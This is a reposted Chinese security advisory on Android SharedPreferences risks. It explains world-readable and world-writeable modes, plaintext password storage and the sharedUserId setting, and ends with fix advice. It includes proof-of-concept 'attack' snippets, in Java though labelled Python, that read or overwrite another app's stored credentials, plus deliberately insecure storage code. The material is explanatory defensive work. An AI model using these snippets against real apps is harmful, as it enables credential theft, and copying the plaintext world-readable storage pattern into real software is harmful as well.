zoukankan      html  css  js  c++  java
  • Android本地数据存储:Shared Preferences安全风险浅析

    Android本地数据存储:Shared Preferences安全风险浅析

    DroidSec转载资料 bydroidsec

    1. 安卓Shared Preferences存储安全风险描述

    Android系统提供了以下四种Android应用本地存储方式:Shared Preferences、SQLite Databases、Internal Storage、External Storage等存储方式。Shared Preferences是一种轻量级的基于XML文件存储的键值对(key-value)数据的数据存储方式,一般用于储存应用的配置等信息【1】;

    Shared Preferences存储安全风险源于:1)开发者在创建文件时没有正确的选取合适的创建模式(MODE_PRIVATE、 MODE_WORLD_READABLE以及MODE_WORLD_WRITEABLE)进行权限控制;2)开发者过度依赖Android系统内部存储安 全机制,将用户信息、密码等敏感重要的信息明文存储在Shared Preferences文件中,导致攻击者可通过root手机来查看敏感信息。

    在乌云漏洞平台上,存在大量Shared Preferences文件中明文存储个人身份信息、密码以及token等重要敏感信息导致泄露的漏洞,如网易阅读Android客户端漏洞导致账号密码 泄漏[2]、高朋团购网泄漏用户敏感信息[3]、苏宁易购用户敏感信息泄露[4]、最新江苏移动营业厅官方手机android客户端应用目录两个文件明文 存储登录使用的服务密码手机号等信息[5]。

    2.安卓Shared Preferences存储安全影响范围

    Android所有系统

    3.安卓Shared Preferences存储安全风险详情

    1) 风险位置:

    Python

    SharedPreferences.getSharedPreferences(String prefName, int mode);

    2) 风险触发前提条件:

    使用MODE_WORLD_READABLE模式创建Shared Preferences文件或使用MODE_WORLD_WRITEABLE模式创建Shared Preferences文件并含有“android:sharedUserId”属性值和测试签名;

    3) 风险原理:

    a. 使用MODE_WORLD_READABLE模式创建Shared Preferences文件,使得其他应用对该Shared Preferences文件具备可读的权限;

    b. 使用MODE_WORLD_WRITEABLE模式创建Shared Preferences文件并含有“android:sharedUserId”属性值,使得其他应用对该应用的Shared Preferences文件具备可写的权限。

    c. 在具备root权限的程序或用户对任何应用程序通过任意模式创建的的Shared Preferences文件都具有可读可写的权限。

    4. Shared Preferences存储安全风险POC

    1) 使用MODE_PRIVATE模式创建Shared Preferences文件,其他应用不可读取该应用的Shared Preferences文件的内容;通过MODE_PRIVATE模式创建Shared Preferences文件的代码片段:

    Python

    String user=mEtUserName.getText().toString();
    String pass=mEtPassword.getText().toString();
    SharedPreferences.Editor editor = getSharedPreferences("settings", Context.MODE_PRIVATE).edit();
    editor.putString("username", user);
    editor.putString("password", pass);
    editor.commit();

    该POC应用启动后输入用户名和密码,然后点击登录之后将以MODE_PRIVATE模式创建Shared Preferences文件:

    通过adb shell进入系统终端,切换至su账户查看该应用创建的shared Preferences文件属性,得知其权限为“-rw-rw—-”,其中others的权限不可读,如下图所示:

    通过adb shell进入系统终端,通过普通用户查看该应用创建的Shared Preferences文件,如下图所示,将提示“Permission denied”:

    其他应用查看该应用创建的Shared Preferences文件的代码片段:

    Python

    Context context = createPackageContext("com.alibaba.jaq.datastoragepoc", Context.CONTEXT_IGNORE_SECURITY);
    SharedPreferences sharedPreferences = context.getSharedPreferences("settings", Context.MODE_WORLD_READABLE);
    String username = sharedPreferences.getString("username", "");
    String password = sharedPreferences.getString("password", "");
    mBtnCrackerContent.setText("user: " + username + "pwd: " + password);

    通过adb logcat发现以下日志,即提示没有权限查看该Shared Preferences文件:

    2) 使用MODE_WORLD_READABLE模式创建Shared Preferences文件,其他应用可读取该应用创建的Shared Preferences文件,将会造成敏感信息泄露;

    通过MODE_WORLD_READABLE模式创建Shared Preferences文件的代码片段:

    Python

    String user=mEtUserName.getText().toString();
    String pass=mEtPassword.getText().toString();
    SharedPreferences.Editor editor = getSharedPreferences("settings", Context.MODE_WORLD_READABLE).edit();
    editor.putString("username", user);
    editor.putString("password", pass);
    editor.commit();

    该POC应用启动后输入用户名和密码,然后点击登录之后将以MODE_WORLD_READABLE模式创建Shared Preferences文件:

    通过adb shell进入系统终端,切换至su账户查看该应用创建的Shared Preferences文件属性,得知其权限为“-rw-rw-r–”,其中others具有可读权限,如下图所示:

    通过adb shell进入普通用户的shell,查看通过MODE_WORLD_READABLE模式Shared Preferences文件”settings.xml”,文件内容如下图所示:

    攻击代码片段:

    Python

    Context context = createPackageContext("com.alibaba.jaq.datastoragepoc", Context.CONTEXT_IGNORE_SECURITY);
    SharedPreferences sharedPreferences = context.getSharedPreferences("settings", Context.MODE_WORLD_READABLE);
    String username = sharedPreferences.getString("username", "");
    String password = sharedPreferences.getString("password", "");
    mBtnCrackerContent.setText("user: " + username + "pwd: " + password);

    启动攻击应用,即可获取到包名为“com.alibaba.jaq.datastoragepoc”应用的Shared Preferences文件“settings.xml”的内容键值:

    3) 使用MODE_WORLD_WRITEABLE模式创建Shared Preferences,虽然其他应用不可读取该应用的Shared Preferences文件,但是如果恶意应用与该POC应用具有相同的“android:sharedUserId”属性值和签名key时,恶意应用即 可对其Shared Preferences文件进行写操作;

    通过MODE_WORLD_WRITEABLE模式创建Shared Preferences的代码片段:

    Python

    String user=mEtUserName.getText().toString();
    String pass=mEtPassword.getText().toString();
    SharedPreferences.Editor editor = getSharedPreferences("settings", Context.MODE_WORLD_WRITEABLE).edit();
    editor.putString("username", user);
    editor.putString("password", pass);
    editor.commit();

    该POC应用启动后输入用户名和密码,然后点击登录之后将以MODE_WORLD_WRITEABLE模式创建Shared Preferences文件:

    通过adb shell进入系统终端,切换至su账户查看创建的shared Preferences文件的权限为“-rw-rw–w-”,其中others具有可写权限,如下图所示:

    通过adb shell进入普通用户的shell,查看通过MODE_WORLD_WRITEABLE模式shared Preferences文件”settings.xml”, 如下图所示,将提示“Permission denied”:

    读取其他应用的shared Preferences的攻击代码片段:

    Python

    Context context = createPackageContext("com.alibaba.jaq.datastoragepoc", Context.CONTEXT_IGNORE_SECURITY);
    SharedPreferences sharedPreferences = context.getSharedPreferences("settings", Context.MODE_WORLD_READABLE);
    String username = sharedPreferences.getString("username", "");
    String password = sharedPreferences.getString("password", "");
    mBtnCrackerContent.setText("user: " + username + "pwd: " + password);

    启动攻击应用读取包名为“com.alibaba.jaq.datastoragepoc”应用的shared Preference文件“settings.xml”时,将提示“Permission denied”:

    写其他应用的Shared Preferences文件的攻击代码片段:

    Python

    Context context = createPackageContext("com.alibaba.jaq.datastoragepoc", Context.CONTEXT_IGNORE_SECURITY);
    SharedPreferences.Editor editor = context.getSharedPreferences("settings", Context.MODE_WORLD_WRITEABLE).edit();
    editor.putString("password", "hacked");
    editor.commit();

    当受害应用和攻击应用都相同含有“android:sharedUserId”属性值时,攻击者即可对受害应用的Shared Perferences有写的权限:受害者应用AndroidManifest.xml文件内容:

    Python

    <?xml version="1.0" encoding="utf-8"?>
    <manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="com.alibaba.jaq.datastoragepoc"
      android:versionCode="1"
      android:versionName="1.0"
      android:sharedUserId="jaq.poc">
        <uses-sdk android:minSdkVersion="10"/>
        <application android:label="@string/app_name"
             >
            <activity android:name="MainActivity"
              android:label="@string/app_name">
        <intent-filter>
            <action android:name="android.intent.action.MAIN"/>
            <category android:name="android.intent.category.LAUNCHER"/>
        </intent-filter>
            </activity>
        </application>
    </manifest>
    

    攻击者应用AndroidManifest.xml文件内容:

    Python

    <?xml version="1.0" encoding="utf-8"?>
    <manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="com.alibaba.jaq.datastoragecrackerpoc"
      android:versionCode="1"
      android:versionName="1.0"
      android:sharedUserId="jaq.poc">
        <uses-sdk android:minSdkVersion="10"/>
        <application android:label="@string/app_name"
             >
            <activity android:name="CrackerActivity"
              android:label="@string/app_name">
        <intent-filter>
            <action android:name="android.intent.action.MAIN"/>
            <category android:name="android.intent.category.LAUNCHER"/>
        </intent-filter>
            </activity>
        </application>
    </manifest>
    

    下图结果显示,当受害应用和攻击应用都相同含有“android:sharedUserId”属性值时,攻击者可写入受害应用通过MODE_WORLD_WRITEABLE模式创建的Shared Preferences:

    4) root下可任意读写应用创建的Shared Preferences,因此不可将密码等用户敏感信息明文存储在Shared Preferences中,以防止Android设备被root之后,造成敏感信息的泄露以及财产损失;

    5.Shared Preferences存储安全风险修复建议

    1. 避免使用MODE_WORLD_WRITEABLE和MODE_WORLD_READABLE模式创建进程间通信的文件,此处即为Shared Preferences;

    出于安全考虑,阿里聚安全建议不要使用全局可读模式和全局可写模式创建进程间通信的文件,此处即为但不限于Shared Preferences。如果需要与其他进程应用进行数据共享,请考虑使用content provider,详情参照Google官方安全指导[6]。

    2. 避免将密码等敏感数据信息明文存储在Shared Preferences中;

    出于安全考虑,阿里聚安全建议不要将密码等敏感信息存储在Shared Preferences等内部存储中,即使Android系统内部存储安全机制,使得内部存储文件可不让其他应用读写,但是在Android系统root 之后,该安全机制将失效而导致信息泄露。因此应该将敏感信息进行加密存储在Shared Preferences等内部存储文件中,详情参照Google官方安全指导[6]。

    3. 避免滥用“android:sharedUserId”属性;

    阿里聚安全建议不要在使用“android:sharedUserId”属性的同时,对应用使用测试签名,否则其他应用拥有“android:sharedUserId”属性值和测试签名时,将会访问到内部存储文件数据 [7]。

    引用

    [1] http://developer.android.com/guide/topics/data/data-storage.html#pref

    [2] http://www.wooyun.org/bugs/wooyun-2010-010056

    [3] http://www.wooyun.org/bugs/wooyun-2010-016309

    [4] http://www.wooyun.org/bugs/wooyun-2010-014308

    [5] http://www.wooyun.org/bugs/wooyun-2010-079232

    [6]http://developer.android.com/training/articles/security-tips.html#StoringData

    [7]http://developer.android.com/guide/topics/manifest/manifest-element.html#uid

    转载自:http://jaq.alibaba.com/blog.htm?spm=0.0.0.0.ZJDxpz&id=56

  • 相关阅读:
    Oracle导出导入表空间创建
    ASP.NET 缓存 SqlCacheDependency 监视数据库表变化 让缓存更新的更及时更提高节能
    Silverlight在添加WCF服务引用时报错
    springboot中如何动态更换 配置文件 spring.profiles.active
    maven之根据profile动态切换resource
    java synchronized 关键字的锁升级过程
    子类中的方法和父类同名,但是参数不同,是重写(overload)不是覆盖(override)
    Java的协变(extends)和逆变(super),说白了都是子类的实例赋值给父类的变量
    Mybatis缓存
    [转]Spring MVC之 @PathVariable @CookieValue@RequestParam @RequestBody @RequestHeader@SessionAttributes, @ModelAttribute
  • 原文地址:https://www.cnblogs.com/smallfa/p/4737794.html
Copyright © 2011-2022 走看看